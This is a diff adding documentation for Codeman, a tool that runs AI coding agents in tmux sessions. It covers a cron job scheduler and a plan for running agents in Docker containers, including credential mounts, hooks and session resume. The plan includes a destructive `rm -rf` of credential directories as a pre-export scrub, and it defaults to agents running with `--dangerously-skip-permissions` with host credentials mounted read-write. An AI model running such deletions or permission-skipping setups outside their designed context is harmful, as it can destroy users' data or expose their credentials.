+   are rejected (they would hang or OOM an unbounded read).
+6. **Size cap** — files larger than **1 MiB** (`MAX_PROMPT_FILE_BYTES`) are
+   rejected.
+7. **Single-line check** — after trailing newlines are stripped, the file
+   content must be a single line (see §6).
+
+If any check fails, the run is recorded as **`failed`** with the reason; no
+session is created.
+
+---
+
+## 6. Prompt delivery (`inputMode`)
+
+Once the CLI is ready (see §8), the prompt is written to the session with a
+trailing carriage return:
+
+| Mode    | Mechanism                                                       | Use when                                         |
+| ------- | --------------------------------------------------------------- | ------------------------------------------------ |
+| `typed` | `session.writeViaMux()` — tmux `send-keys -l` (literal) + Enter | Default; behaves like a human typing the prompt. |
+| `paste` | `session.write()` — writes directly to the PTY/mux              | Bulk paste-style delivery.                       |
+
+> ⚠️ **Single-line only — enforced.** Like all programmatic input in Codeman,
+> multi-line delivery would be silently corrupted (Ink-based TUIs treat a
+> newline as submit; typed mode fuses lines). So newlines are **rejected**: the
+> schema and the form refuse a multi-line `promptText`, and at fire time a
+> prompt file whose content is multi-line (after stripping trailing newlines)
+> fails the run with a clear `errorMessage`. Put multi-line instructions in a
+> file the agent is told to read itself (e.g. "read TASKS.md and do it").
+
+---
+
+## 7. Concurrency policy (automatic runs)
+
+`concurrencyPolicy` governs what happens when a **scheduled** run is due and
+sessions of the same `agentType` already exist:
+
+| Policy                       | Behavior                                                                                                                                                                 |
+| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `warn_only`                  | Always launch. (The count is surfaced but not blocking.)                                                                                                                 |
+| `skip_if_same_agent_running` | If ≥ 1 **other, live** session of that mode is active, **skip** this fire — record a `skipped` run and (for recurring schedules) advance the schedule without launching. |
+
+Notes on `skip_if_same_agent_running`:
+
+- Only **live** sessions block: a tab whose CLI already exited (status
+  `stopped`/`error`) does not count.
+- Sessions created by **this job's own previous runs never block it** —
+  otherwise a recurring job would deadlock on the session it created last time
+  and fire exactly once.
+- A skipped **`once`** job is **not consumed**: it stays armed and retries on
+  the next tick until the blocking session goes away, then fires its single run.
+- A skip is **not** a run: it sets `lastStatus = 'skipped'` but does **not**
+  advance `lastRunAt`.
+- Consecutive skips are **coalesced** — a perpetually-skipped interval job writes
+  **one** skip record per streak, not one every tick, so it can't bloat
+  `state.json`.
+
+**Run Now ignores this policy on the server.** The browser shows a `confirm()`
+warning if same-type sessions are active, but if you proceed (or call the API
+directly), the job launches unconditionally.
+
+---
+
+## 8. What happens when a job fires
+
+Sequence in `CronService.launch()`:
+
+1. A `CronJobRun` is created with status **`created`** and broadcast
+   (`cron:runCreated`).
+2. The prompt is resolved (inline or file, single-line enforced). Failure →
+   **`failed`**.
+3. `workingDir` is checked (`statSync().isDirectory()`). Missing/not-a-dir →
+   **`failed`**.
+4. **Auto-close previous session** (recurring schedules, unless
+   `autoClosePreviousSession: false`): any still-open session created by this
+   job's previous runs is closed via the normal session-cleanup path.
+5. The global session cap is checked (`MAX_CONCURRENT_SESSIONS = 50`). At cap →
+   **`failed`**.
+6. A `Session` is created **with `useMux: true`** (so it runs inside tmux),
+   registered, listeners attached, and started via `startInteractive()`
+   (`startShell()` for `shell` mode). Model/claudeMode come from global config.
+   Run status → **`session_started`**.
+7. **Readiness wait** (async, non-blocking): for non-shell agents the service
+   polls the terminal buffer up to **60 × 500ms** for a `❯` prompt or the string
+   `tokens`, then settles **2000ms** (`CRON_READY_SETTLE_MS`). Shell mode waits
+   1000ms, then sends the optional `launchCommand` as the first input line
+   (+1000ms settle).
+8. The prompt is delivered (`typed`/`paste`, trailing `\r`). Run status →
+   **`prompt_sent`**; `finishedAt` stamped. Delivery failure (e.g. the mux
+   session is gone) → **`failed`**.
+
+The created session is a **normal, persistent interactive session** — it appears
+as its own tab and keeps running after the prompt is sent. The run's
+`createdSessionUrl` is a deep link (`/?session=<id>`); the UI focuses it
+automatically after **Run Now**.
+
+> ⚠️ **Session-cap math if you disable auto-close.** With
+> `autoClosePreviousSession: false`, nothing ever closes the sessions a
+> recurring job creates — an interval job every 30 min creates 48 tabs/day and
+> hits the global 50-session cap in ~25 hours (sooner with existing tabs), after
+> which **every** fire of **every** job fails with "Maximum concurrent sessions
+> reached" until you delete tabs by hand. Leave auto-close on for unattended
+> recurring jobs, or clean up sessions yourself.
+
+### The background tick
+
+`tickDueJobs()` runs every **30s** (`CRON_TICK_INTERVAL`, registered in
+`server.ts`). For each enabled job whose `nextRunAt ≤ now`:
+
+- **Duplicate-launch guard**: `lastDueKey = jobId:fireTime`. If this due time was
+  already consumed (overlap/restart), the job is just advanced, not relaunched.
+- The schedule is **advanced _before_ launching** so a slow launch can't be
+  re-triggered by the next tick.
+- On boot, `init()` recomputes `nextRunAt` for loaded jobs (dead `once` jobs stay
+  dead).
+
+---
+
+## 9. Run history & statuses
+
+Each job keeps a history of `CronJobRun` records. Statuses (`CronJobRunStatus`):
+
+| Status            | Meaning                                                       |
+| ----------------- | ------------------------------------------------------------- |
+| `created`         | Run record created; prompt/session not yet started.           |
+| `session_started` | Session launched successfully.                                |
+| `prompt_sent`     | Prompt delivered — the happy-path terminal state.             |
+| `failed`          | Something went wrong (see `errorMessage`).                    |
+| `skipped`         | A scheduled fire was skipped by `skip_if_same_agent_running`. |
+
+Each run also records `triggerType` (`scheduled` or `manual_run_now`),
+`sessionId`/`sessionName`, timestamps, and `createdSessionUrl`.
+
+**History is capped globally** at **500 records** (`MAX_CRON_RUN_HISTORY`); the
+oldest are pruned first. Deleting a job also deletes its run records.
+
+---
+
+## 10. API reference
+
+All responses use the standard `ApiResponse<T>` envelope (`{success, data}` /
+`{success, error, errorCode}`). `/api/v1/*` is a stable alias.
+
+| Method   | Endpoint                     | Body                   | Returns                           |
+| -------- | ---------------------------- | ---------------------- | --------------------------------- |
+| `GET`    | `/api/cron/jobs`             | —                      | `CronJob[]`                       |
+| `POST`   | `/api/cron/jobs`             | `CronJobSchema`        | `{ job }`                         |
+| `GET`    | `/api/cron/jobs/:id`         | —                      | `CronJob` (404 if missing)        |
+| `PUT`    | `/api/cron/jobs/:id`         | partial `CronJob`      | `{ job }` (400 if merge invalid)  |
+| `DELETE` | `/api/cron/jobs/:id`         | —                      | `{}`                              |
+| `PUT`    | `/api/cron/jobs/:id/enabled` | `{ enabled: boolean }` | `{ job }`                         |
+| `POST`   | `/api/cron/jobs/:id/run`     | —                      | `{ run, activeAgents }`           |
+| `GET`    | `/api/cron/jobs/:id/runs`    | —                      | `CronJobRun[]` (newest first)     |
+| `GET`    | `/api/cron/runs`             | —                      | all `CronJobRun[]` (newest first) |
+
+---
+
+## 11. SSE events
+
+Emitted on `/api/events`, mirrored in `SSE_EVENTS` (`constants.js`):
+
+| Event              | Payload      | When                                                                 |
+| ------------------ | ------------ | -------------------------------------------------------------------- |
+| `cron:jobsChanged` | `{ jobs }`   | Any job created / updated / enabled / status change.                 |
+| `cron:jobDeleted`  | `{ id }`     | A job was deleted.                                                   |
+| `cron:runCreated`  | `CronJobRun` | A run (incl. skips) started.                                         |
+| `cron:runUpdated`  | `CronJobRun` | A run advanced state (`session_started` / `prompt_sent` / `failed`). |
+
+---
+
+## 12. State & persistence
+
+Persisted in `~/.codeman/state.json` via `StateStore`:
+
+- `AppState.cronJobs` — map of `id → CronJob`.
+- `AppState.cronJobRuns` — map of `id → CronJobRun`.
+
+Jobs and their schedules survive restarts; `init()` recomputes `nextRunAt` on
+boot. Sessions the jobs create persist through the normal session-recovery path.
+

+
+## 13. Limits & constants

+
+---
+
+## 14. Known limitations
+
+- **Server-local timezone only** — `daily`/`weekly` times are interpreted in the
+  host's local time; there is no per-job timezone.
+- **Interval drift** — `interval` re-anchors to the actual fire time; long-running
+  intervals slowly shift.
+- **Single-line prompts** — multi-line prompts are rejected (schema, form, and
+  at fire time for prompt files); tell the agent to read a file itself for
+  multi-line instructions.
+- **`runNow` / tick race** — a manual Run Now firing at the same instant as a
+  scheduled tick is theoretically possible; benign (you may get two sessions).
+- **`{enabled:true}` on a dead `once` job** — re-enabling a fired one-time job
+  without changing its schedule leaves it enabled-but-dead (won't fire); change
+  the schedule to re-arm.

+# Docker Session Mode, Implementation Plan
+
+## Decisions (locked 2026-07-19, by repo owner)
+
+1. **Isolation posture**: CONVENIENT default (bind-mount host `~/.claude` etc. read-write so the existing login just works; network on; still hardened non-root + cap-drop + resource caps). SEALED profile (`mountCredentials:false` + `network:none`) is a per-case opt-in.
+2. **Export**: offer BOTH full-image (`commit`+`save`+workspace tar) AND workspace-only, side by side, no default (ask each time).
+3. **Base image**: BUILD LOCALLY on first use via `scripts/build-agent-image.mjs` from a repo `docker/agent.Dockerfile`. No registry required. (GHCR pull can be added later.)
+4. **Hooks**: WIRE HOOKS NOW. Codeman scaffolds `.claude/settings.local.json` + CLAUDE.md into the linked host workspace dir (same as local cases), enabling in-container permission prompts, hook-idle detection, and the Claude Model picker.
+
+Adopted defaults for the remaining open items (Section 10): resume-on-restart ON; container is per-CASE and shared by multiple sessions (killing one session only kills its in-container tmux session, never `docker stop` while siblings remain; stop/remove only on explicit teardown or case-delete); rootless caps = ship-with-warning (`capsEnforced` surfaced); remote docker daemon = local-first; podman = docker-first best-effort.
+
+## Implementation status (branch `feat/docker-session-mode`)
+
+DONE and END-TO-END VERIFIED against a real docker daemon (create host, link case, quick-start shell in a real container, workspace bind-mount round-trip, hook scaffolding, session-delete keeps the shared container up, case-delete `docker rm`s it):
+
+- Phase 0-1: types (`DockerHost`/`DockerCase`/`SessionDocker`), `src/docker-hosts.ts` (storage, pure `buildDockerBaseArgs`/`buildDockerCreateArgs`, `containerApiUrl`, `hostGatewayAlias`, config-hash, credential-mount resolution, daemon probes), `DockerHostSchema`/`DockerCaseLinkSchema`. 26 unit tests.
+- Phase 2: `tmux-manager` `buildDockerLaunchCommand` (image-check -> ensure -> start -> exec, resume-aware), `buildDockerKillCommand` (in-container tmux only, multi-session safe), stop/remove; wired into `createSession`/`respawnPane`/`killSession`. 14 unit tests.
+- Phase 3: `Session` threading (`_docker`, toState, option builders, in-container cliVersion probe, `resolveMuxAttachCwd`), `server.ts` recovery round-trip.
+- Phase 4: `case-routes` `/api/docker-hosts` CRUD + `/api/cases/docker-link` + listing + docker-unlink; `session-routes` `/api/quick-start` docker branch (rejects per-session config, probes availability + tmux, scaffolds hooks, seeds resume id).
+- Phase 5 (partial): `docker/agent.Dockerfile` + `scripts/build-agent-image.mjs` (built + verified: node 22, tmux, claude/codex/gemini/opencode, arbitrary-uid HOME). Host-guard allowlists `host.docker.internal`/`host.containers.internal` for in-container hooks.
+- Full CI green (3445 tests).
+
+REMAINING:
+
+- Phase 6: export / import (`docker commit` + `save | gzip` + workspace tar + manifest; `load` + quarantined re-tag), GC / boot reaper, disk-safety prechecks, drift-recreate route, SSE `docker:*` events. THE "move to a new machine" feature.
+- Phase 7: frontend Create Case "Docker" tab + `linkDockerCase` + run wiring + case-picker labels + export/import UI.
+- Phase 8: CLAUDE.md "Docker cases" Key Pattern + `docs/docker-cases.md` + COM.
+- Deferred refinements: in-container model-picker via `settings.local.json`; live mid-run resume-id capture into `DockerCase.lastClaudeSessionId`; rootless/Desktop uid probe (currently a platform heuristic).
+
+## 1. Goal & user stories
+
+Add "Docker cases" to Codeman: a case can point at a container instead of a local or remote-SSH path, and any of the five CLI backends (`claude` / `shell` / `opencode` / `codex` / `gemini`) runs inside that container. It is modeled as a LOCATION OVERLAY on cases, exactly like the remote-SSH feature (COD-94/#145), never as a sixth `SessionMode`.
+
+User stories:
+
+- As the repo owner, I link a case to a per-project container so an autonomous Claude/Ralph run executes in a hardened sandbox (cap-drop, non-root, resource caps) instead of directly on my host, while keeping my existing OAuth login and transcript history working with zero extra setup.
+- I set default, per-case-changeable container settings (image, network mode, memory/cpu/pids caps) at link time and edit them later, and edits actually take effect through a recreate-on-drift path (see Section 4).
+- I reconnect after a Codeman restart and land back in the SAME running agent with the conversation intact. When the CONTAINER itself was stopped/rebooted/OOM-killed (which destroys the in-container tmux), the next launch RESUMES the last conversation from the bind-mounted transcript rather than starting fresh (durability model in Section 2, Key decision 1).
+- I export a finished run's whole environment (toolchain plus workspace) to a portable, secret-free `.tar.gz`, move it to another machine, and import it back into a fresh case in one click.
+- The container never accumulates: killing the session stops it, deleting the case removes it, and an instance-scoped boot reaper reaps containers whose case is gone.
+
+Non-goals for the MVP: multi-tenant untrusted-code isolation guarantees (Codeman is loopback-default and single-operator, and the agent already runs `--dangerously-skip-permissions` on the host today), Kubernetes/compose orchestration, and per-command ephemeral containers.
+
+## 2. Chosen architecture and why
+
+The design grafts the strongest idea from each of the three proposals:
+
+- Overlay-not-a-mode + faithful remote-SSH mirror (from "Docker Cases as a Location Overlay"): lowest churn, rides the existing quick-start / mux-sessions / state / recovery plumbing.
+- Convenient-but-hardened default with an opt-in sealed profile, plus exec-time name-only secret env (from "Sealed Sandbox"): a strict security improvement over today's on-host execution without the UX tax of forcing an in-container re-login.
+- One-artifact export + in-app import route (from "Container-as-Cargo"): the genuinely new, high-value capability Codeman lacks.
+
+### Key decision 1: persistent per-CASE container, durable in-container tmux, AND resume-on-restart (the two-layer durability model)
+
+Exactly one long-lived container per Docker case, named as a pure slug function `codeman-case-<slug>` (Docker charset `^[a-zA-Z0-9][a-zA-Z0-9_.-]+$`; Codeman already slugs case names for tmux), so create-if-missing and boot recovery are idempotent. PID1 is `sleep infinity` under `--init` (tini reaps zombies and forwards `docker stop`'s SIGTERM); the CLI is NOT the container command. The CLI runs inside a DURABLE in-container tmux on a dedicated socket `-L codeman-docker`, session `codeman-dkr-<id8>`, the direct analog of remote's `-L codeman-remote` / `codeman-ssh-<id8>`.
+
+Two DIFFERENT failure surfaces need two DIFFERENT recovery layers, and conflating them is the central flaw the critic caught:
+
+1. Codeman-PROCESS restart while the container stays up: the in-container tmux is still alive, so `tmux new-session -A` (attach-or-create) reattaches the SAME live agent and the paneCommand is ignored. This is the remote-SSH durability idiom and it works unchanged.
+2. CONTAINER stop / daemon restart / host reboot / OOM-kill: the in-container tmux is GONE (fresh PID1). `new-session -A` will now CREATE a fresh session and run the paneCommand, which would start a brand-new conversation. This is the case the raw plan silently lost. Because the transcript directory is bind-mounted from the host (Key decision 3), the fix is to launch with RESUME: the paneCommand becomes `exec claude --dangerously-skip-permissions --resume <claudeSessionId>` (codex uses `resume <id>`, gemini `--resume <id>`) whenever a captured `claudeSessionId` exists. The `-A` semantics make this self-selecting: the resume flag only ever executes when tmux is actually re-created, which is exactly when the live session was lost. When tmux is still alive (case 1), attach wins and the flag is inert.
+
+Capturing / persisting / reusing the resume id (the missing mechanism the critic flagged): Codeman already learns `Session.claudeSessionId` from transcript correlation (which works here because projHash matches, Key decision 3) and persists it in `SessionState`. We thread that value into `createSessionOptions` / `respawnPaneOptions` for docker so `buildDockerLaunchCommand` can inject the resume flag on any relaunch. To make a NEW Codeman session (new `id8`) re-launched against the same case resume its predecessor's conversation, we ALSO persist `lastClaudeSessionId` on the `DockerCase` record; the quick-start docker branch seeds the new `Session` with it when the `dockerResumeOnStart` setting is on. First-ever launch has no id, so it starts fresh. This is user-decision 7 (default resume behavior).
+
+Reconciling with stop-on-kill and with the `--restart` policy (the internal inconsistency the critic found): the container is created with `--restart no` uniformly (Codeman's idempotent create-if-missing plus boot recovery is the single recovery mechanism; a restart policy would not preserve the conversation anyway because a restarted container gets a fresh PID1/tmux). Boot recovery re-runs `buildDockerLaunchCommand` from the restored `MuxSession.docker` (`docker inspect || docker create; docker start`, then exec with resume), so a host reboot or daemon restart recreates+starts the container and resumes the conversation instead of the session vanishing. `reconcileSessions` (tmux-manager.ts ~1800-1815) must NOT hard-delete a docker session merely because no LOCAL pane exists after the local `-L codeman` server died; docker (like remote) sessions are restored from `mux-sessions.json` and relaunched. This relaunch path is explicitly part of Phase 4/Phase 3 recovery work, not assumed.
+
+Why this over the alternatives: `docker exec` gets SIGHUP and dies when its client TTY closes, so a bare `docker exec claude` restarts the CLI on every reconnect/respawn. The inner tmux plus resume is what makes reconnect idempotent across BOTH failure surfaces. Because this durability is the single most important design point, tmux-in-image is a HARD gated prerequisite (`checkDockerTmuxAvailable`), never a silent fallback to bare exec. Rejected alternatives: ephemeral-per-run or bare-exec containers (no reattach durability); a literal `'docker'` `SessionMode` (touches dozens of switch/enum sites and diverges from the remote overlay precedent, since Docker is a LOCATION orthogonal to the 5 CLI backends).
+
+### Key decision 2: CLI + auth delivery
+
+One prebuilt base image (built once, contains NO secrets): `node:22-bookworm-slim` + `git tmux ripgrep ca-certificates`, `npm i -g @anthropic-ai/claude-code @openai/codex @google/gemini-cli opencode-ai`, an `agent` user, HOME dirs made writable by an arbitrary host uid via the OpenShift "gid 0, group-writable" convention (Key decision 6). Because the toolchain is baked, export is reproducible and needs no network at import time. The image name/namespace/registry and its refresh cadence are user-decision 2 (the `codeman/agent:base` placeholder implies a Docker Hub org the project may not own).
+
+Credentials are delivered ONLY at runtime, two commit-safe channels, default convenient:
+
+- OAuth/config-file CLIs (Claude Max/Pro, gcloud, opencode): bind-mount the host credential dirs read-write (`~/.claude`, `~/.codex`, `~/.gemini` + `~/.config/gcloud`, `~/.config/opencode`) so the common user "just works" with no in-container login. Because these are bind mounts, `docker commit` (which captures only the container's own writable layer, never bind mounts) physically cannot capture them, so exports stay secret-free.
+- API-key CLIs (codex/gemini): exec-time NAME-ONLY `docker exec --env OPENAI_API_KEY --env GEMINI_API_KEY ...` (no `=value`), sourced from Codeman's own process env. Only the key NAME appears in argv (no `ps` leak), and per-exec env is never captured by `docker commit`. This is the technique Codeman already uses via `tmux setenv` for the local Codex/Gemini panes, so it composes with existing machinery.
+
+Per-host `DockerHost.mountCredentials` defaults `true` (convenient); setting it `false` yields a SEALED profile (no host cred mounts, in-container login only) for genuinely untrusted work. CRITICAL sealed-mode export rule (the leak the critic caught): in sealed mode the in-container login writes tokens into the container's OWN writable layer, which `docker commit` DOES capture, so a full-image export of a sealed container would ship credentials. Therefore full-image export is REFUSED for `mountCredentials:false` containers by default; the user may either take a workspace-only export (always safe) or opt into a pre-commit scrub that `docker exec`s `rm -rf ~/.claude ~/.codex ~/.gemini ~/.config/gcloud ~/.config/opencode` inside the container before commit (destructive to the in-container login, which is the point). This is enforced in the export route, not left to a manifest assertion.
+
+Per-session `envOverrides` / `effort` / `codexConfig` / `geminiConfig` / `openCodeConfig` are REJECTED at quick-start exactly like the remote branch (session-routes.ts ~1698-1710). `modelOverride` is the one deliberate difference from remote: because the docker workspace is a REAL bind-mounted host dir that Codeman scaffolds (Key decision 5 and Section 6), `updateCaseModel()` can write the `model` key into `<workspace>/.claude/settings.local.json` and the in-container `claude` reads it, so the App Settings Claude Model picker works for docker cases. `effort` is a `--effort` CLI arg applied only by the local-spawn path we bypass, so it stays rejected (surfaced honestly in the UI, not silently inert). Per-mode command customization goes through `DockerHost.commands.<mode>` (`defaultDockerCommandForMode`, mirror of `defaultRemoteCommandForMode` at remote-hosts.ts:60). NEVER bake secrets into an image layer and NEVER pass a secret via create-time `-e` (both are committed).
+
+Rejected alternative: sealed-by-default. For a single-operator loopback tool where the agent already runs skip-permissions on the host, forcing an in-container OAuth re-login is a UX regression with little real gain. We keep sealed as an opt-in. Rejected alternative: baking a login into the image, which leaks the instant you `docker save`.
+
+### Key decision 3: workspace mount, container CWD, and transcript correlation
+
+Bind-mount the host workspace dir into the container at the SAME absolute path (`dst == src`, mirror the host path), and set both `Session.workingDir` and the container workdir to that host path.
+
+Two problems this solves that the raw proposals got wrong:
+
+- File features: `DockerCase.hostWorkspacePath` is a REAL host directory, so `Session.workingDir = hostWorkspacePath` keeps file-routes, attachments, image-watcher, and previews working on real host bytes (unlike remote, where the path is remote-only and those features no-op). All three proposals wired `casePath = <container path>`; we deliberately diverge and use the host path.
+- Transcript correlation: Claude writes transcripts under `~/.claude/projects/<hash-of-CWD>/`. By mirroring the host path as the container CWD, the projHash computed inside the container equals the host-side hash Codeman's transcript/subagent/workflow watchers expect, so correlation keeps working (and, in turn, feeds the resume-id capture in Key decision 1). A `/workspace`-style fixed dst would break it. Mirror-vs-fixed is user-decision 3.
+
+`resolveMuxAttachCwd` still returns `/tmp` for docker sessions (the LOCAL bash pane only runs `docker exec`; it never needs the workspace as its cwd), mirroring remote.
+
+### Key decision 4: network default and the engine-specific host gateway
+
+Default `bridge` (own netns, NAT egress, no inbound), per-case changeable to `none` (offline shell sandbox; warned because it breaks the API CLIs) or `custom` (a user-defined bridge `codeman-net-<slug>`, the chokepoint for a future egress allowlist). `host` networking and any `-p` inbound publish are structurally unrepresentable in the flag builder and schema. Rationale: every API-backed CLI (Claude, Codex, Gemini) plus npm/git needs egress, so `bridge` is the only sane functional default; `none` is reserved for `shell`.
+
+The host-callback gateway alias is ENGINE-SPECIFIC (the critic's podman finding): Docker uses `host.docker.internal`, Podman uses `host.containers.internal` (Docker's alias only exists on recent podman). A helper `hostGatewayAlias(engine)` returns the right name; Section 2.5, the create args, the `CODEMAN_API_URL` rewrite, and the host-guard allowlist all consume it, and BOTH aliases are added to the allowlist so a mixed fleet keeps working.
+
+### Key decision 5: hooks actually reach the host AND are actually installed
+
+Two independent things must both be true for a hook to fire, and the raw plan wired only the first:
+
+1. Network reachability. Claude Code hooks POST to `$CODEMAN_API_URL` (`curl -sk`). Inside a bridge container `localhost` is the container and prod binds `127.0.0.1`, so we set `--add-host <gatewayAlias>:host-gateway` on create (skipped on Docker Desktop, where the alias is native), add the gateway alias to the host guard, and provide `CODEMAN_API_URL` and the hook secret (below).
+2. Hook INSTALLATION. Hooks live in `<workspace>/.claude/settings.local.json`, written by the quick-start scaffolding block (around session-routes.ts ~1776) that calls `writeHooksConfig()` / `updateCaseModel()`. The raw plan extended the `!remote` guard to `!remote && !docker`, which would SKIP that block and silently disable ALL hooks regardless of networking. For docker the workspace is a REAL bind-mounted host dir, so the scaffolding block MUST run. Precise fix: extend to `!remote && !docker` ONLY the LOCAL-CLI-availability and local-spawn guards (the ones that stat the local binary or build the local spawn command); leave the workspace-scaffolding guard at `!remote` so it runs for docker. This same decision is what makes `modelOverride` work (Key decision 2). Consequence, surfaced as user-decision 4: linking a docker case now WRITES `.claude/settings.local.json` (and the CLAUDE.md scaffold, matching local-case behavior) into the user's real host directory, a behavioral shift from "link a dir" to "link and scaffold a dir."
+
+`CODEMAN_API_URL` derivation (the wrong-scheme bug the critic caught): prod is HTTPS-only on 3000, and `server.ts` (~2000) auto-sets `process.env.CODEMAN_API_URL = ${protocol}://${apiHost}:${port}`. Hardcoding `http://host.docker.internal:3000` fails every hook. Instead a pure helper `containerApiUrl(process.env.CODEMAN_API_URL, engine)` parses the running URL and substitutes ONLY the hostname with `hostGatewayAlias(engine)`, preserving scheme and port (`https://host.docker.internal:3000`). Unit-tested against http, https, non-default ports, and both engines. Passed as create-time `--env CODEMAN_API_URL=<derived>` (case-stable, non-secret).
+
+Hook secret and session attribution:
+- `~/.codeman/hook-secret` is bind-mounted read-only to a container path; `--env CODEMAN_HOOK_SECRET_FILE=<that path>` is create-time (a path is non-secret; the bytes ride the bind mount and are never committed).
+- `CODEMAN_SESSION_ID` (which the generated hooks reference at hooks-config.ts:78-80 to attribute events) plus `CODEMAN_MUX=1` are SESSION-scoped, so they are passed at EXEC time via `docker exec --env CODEMAN_SESSION_ID=<id> --env CODEMAN_MUX=1` (non-secret, value inline is fine, and exec env is not committed). Because a `tmux` session started fresh only inherits the invoking env when it starts the SERVER, the launch chain ALSO runs `tmux -L codeman-docker setenv -g CODEMAN_SESSION_ID <id>` (and `CODEMAN_MUX`) so reattaches and newly created panes see the same values. This mirrors how Codeman already injects per-session env into tmux for the external CLIs.
+
+Hooks-in-MVP-vs-deferred stays user-decision 4; if deferred, docker ships as explicitly hook-degraded and we lean on output-based idle detection through the docker-exec PTY.
+
+### Key decision 6: uid / HOME / rootless enforcement / macOS Docker Desktop
+
+The raw plan showed `--user 1000:1000` in one place and `--user "$(id -u):$(id -g)"` in another and never resolved HOME writability; this section fixes all of it.
+
+- Linux native (docker rootful or rootless): run `--user <hostUid>:0` (host uid, GID 0). The image follows the OpenShift arbitrary-uid convention: `HOME=/home/agent`, and `/home/agent` plus the tool cache dirs (`~/.npm`, `~/.cache`, `~/.config`) are owned `root:0` and group-writable (`chmod -R g+w`, `g+s` on dirs) so a process with GID 0 can write HOME even though its UID is not 1000. This keeps workspace files host-owned (the agent's UID is the host UID) AND keeps HOME writable, so the CLIs actually start.
+- Podman rootless: use `--userns=keep-id` (maps the host uid to the image's `agent` uid inside the container) instead of `--user`, so `/home/agent` is owned by the running user and workspace files are host-owned. This is a real per-engine branch in `buildDockerCreateArgs`.
+- macOS Docker Desktop: `--user <macUid>` (e.g. 501) does not own the image's `/home/agent`, so non-bind HOME writes fail EACCES and the CLIs may not start; Desktop also does its own bind-mount uid translation, provides `host.docker.internal` natively (no `--add-host`), and its VM memory ceiling can cap `--memory`. Detect Desktop via `docker info` (Server OS `linuxkit` / `OperatingString` contains "Docker Desktop") and take a dedicated path: do NOT pass `--user` (run as the image's baked `agent` uid and rely on Desktop's translation for workspace access), skip `--add-host`, and note in the UI that memory caps are subject to the VM ceiling.
+
+Rootless resource-cap enforcement (the silently-inert risk): rootless Docker without cgroup-v2 systemd delegation (`Delegate=yes`) silently IGNORES `--memory`/`--cpus`/`--pids-limit`. The probe checks `docker info` for `CgroupVersion=2` plus rootless plus delegation; if caps cannot be enforced, `checkDockerAvailable` returns `capsEnforced:false` and the link/probe surfaces "resource caps are advisory on this engine." Whether to REQUIRE delegation or ship-with-warning is user-decision 6.
+
+## 3. Data model
+
+New TypeScript types in `src/types/session.ts`, added right after the remote types (lines 46-99). SessionMode (line 44) is UNCHANGED.
+
+```ts
+export type DockerCommandMode = Extract<SessionMode, 'shell' | 'claude' | 'opencode' | 'codex' | 'gemini'>;

+}
+```
+
+- `SessionState` gains `docker?: SessionDocker` immediately after `remote?` (line 219). It persists automatically because `SessionState` is structural and `state-store.ts` stores `toState()` verbatim.
+- `src/mux-interface.ts`: add `docker?: SessionDocker` to `MuxSession` (after line 38), `CreateSessionOptions` (after 81), `RespawnPaneOptions` (after 105). `MuxSession.docker` round-trips through `mux-sessions.json` automatically.
+- `src/types/api.ts` `CaseInfo`: add `'docker'` to the `location` union and a `docker?: { hostId; container; image?; path; network }` display block.
+- `src/services/unified-session-service.ts`: add a boolean `docker?` flag on `UnifiedSessionItem` and source rows, set from `MuxSession.docker` presence (mirror the `remote` flag at ~line 200 and the harvest at session-routes.ts:2313).
+
+New state files (all via `dataPath()`, mirroring `remote-hosts.json` / `remote-cases.json`):
+
+- `~/.codeman/docker-hosts.json` (reusable engine/image/network/resource profiles).
+- `~/.codeman/docker-cases.json` (`name -> DockerCase`, including `lastClaudeSessionId`).
+- `~/.codeman/docker-exports/` (dedicated dir for `.image.tar.gz` + `.workspace.tar.gz` + `manifest.json`; never inline in state.json; retention/pruning per Section 5).
+
+No new `state.json` / `mux-sessions.json` files: `SessionState.docker` and `MuxSession.docker` ride the existing serialization.
+
+## 4. Container lifecycle (exact command shapes)
+
+All builders are PURE string functions (directly unit-testable). Host values interpolated into the outer `bash -c "..."` layer (container name, image, workdir, host paths) are `shellescape()`'d and, for user-supplied fields, schema-rejected for `$`/backtick via `NO_SHELL_META`. The escaping chain here is DEEPER than remote's single `ssh '<tmux ...>'`: the whole `docker inspect || docker create <dozens of --mount/--env/shellescaped host paths>` is interpolated into `bash -c "..."` then `JSON.stringify`'d into respawn-pane. This is a known place to get stuck, so it is covered by concrete escaping tests (Section 9), including host workspace paths containing spaces, not just a "we call shellescape" claim.
+
+New in `src/tmux-manager.ts`:
+
+```ts
+const DOCKER_TMUX_SOCKET = 'codeman-docker';
+// 'dkr' letters deliberately FAIL SAFE_MUX_NAME_PATTERN (^codeman-[a-f0-9-]+$),
+// so a Codeman running INSIDE the container never adopts/resizes/respawns our session.
+export function dockerTmuxSessionName(id: string): string { return `codeman-dkr-${id.slice(0, 8)}`; }
+```
+
+`buildDockerBaseArgs(docker)` (pure, in `docker-hosts.ts`, mirror of `buildSshConnectionArgs`) emits the engine prefix tokens: `docker` (or `podman`) + optional `--context <ctx>` or `-H <daemonHost>`. `buildDockerCreateArgs(docker, sessionId)` emits the `docker create` flag array (with the per-engine uid/userns branch from Key decision 6).
+
+IMAGE PRESENCE (before any create, the auto-pull footgun the critic caught): the launch chain runs `docker image inspect <image> >/dev/null 2>&1` first; on miss it exits with a distinct message ("base image <ref> not present: build with scripts/build-agent-image.mjs or pull it") rather than triggering a blocking multi-GB auto-pull inside the tmux pane. `docker create` carries `--pull=never`. The tmux-availability probe likewise uses `docker run --rm --pull=never <image> sh -lc 'command -v tmux'` and reports the same build/pull hint if the image is absent, so the 15s-bounded probe never hangs on a pull.
+

+- `--user 1000:0` shown is the Linux-native form with GID 0 (Key decision 6); it is actually `--user <hostUid>:0`, or `--userns=keep-id` for podman rootless, or omitted on Docker Desktop. The literal is illustrative only.
+- Create-time `--env` carries only NON-SESSION, non-secret, case-stable values (safe to be committed): the DERIVED `CODEMAN_API_URL` (https-preserving, Key decision 5) and the hook-secret FILE PATH. `CODEMAN_SESSION_ID`/`CODEMAN_MUX` and the codex/gemini key NAMES are exec-time only.
+- `codeman.instance=<CODEMAN_INSTANCE>` is REQUIRED on the label set so the boot reaper is instance-scoped (a beta/second instance must never reap prod's containers).
